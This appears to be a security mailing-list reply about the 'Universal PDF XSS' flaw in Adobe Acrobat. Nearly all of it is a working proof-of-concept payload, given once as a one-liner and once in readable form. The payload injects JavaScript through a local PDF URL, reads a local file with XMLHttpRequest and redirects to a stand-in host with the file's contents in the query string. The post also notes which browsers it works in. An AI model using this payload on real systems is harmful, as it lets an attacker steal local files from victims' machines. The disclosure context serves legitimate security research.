Re: Universal PDF XSS After Party

["T Biehn" <tbiehn () gmail com>]

file:///C:/Program Files/Adobe/Acrobat
6.0/Resource/ENUtxt.pdf#something=javascript:function
cXHR(){try{return new ActiveXObject('Msxml2.XMLHTTP');}catch(e){}try{return
new ActiveXObject('Microsoft.XMLHTTP');}catch(e){}try{return new
XMLHttpRequest();}catch(e){} return null;}var xhr =
cXHR();xhr.onreadystatechange = function(){if (xhr.readyState == 4){alert(
xhr.responseText);window.location = "
http://localhost:80/whatever.htm?content="; +
xhr.responseText;}};xhr.open('GET',
'file:///C:/Program Files/Adobe/Acrobat 6.0/ReadMe.htm',
true);xhr.send(null); <- sends a local file to a remote location.

Readable:
function cXHR(){ //Grabs a legit XHR.
   try{
       return new ActiveXObject('Msxml2.XMLHTTP');
   }catch(e){}
   try{
       return new ActiveXObject('Microsoft.XMLHTTP');
   }catch(e){}
   try{
       return new XMLHttpRequest();
   }catch(e){}
   return null;
}
var xhr = cXHR(); //For grabbing
xhr.onreadystatechange = function(){
   if (xhr.readyState == 4){
       alert(xhr.responseText);
       window.location = "http://localhost:80/whatever.htm?content="; +
xhr.responseText;
   }
};
xhr.open('GET', 'file:///C:/Program Files/Adobe/Acrobat 6.0/ReadMe.htm',
true);
xhr.send(null);

Works in FFOX / Opera, not in IE.
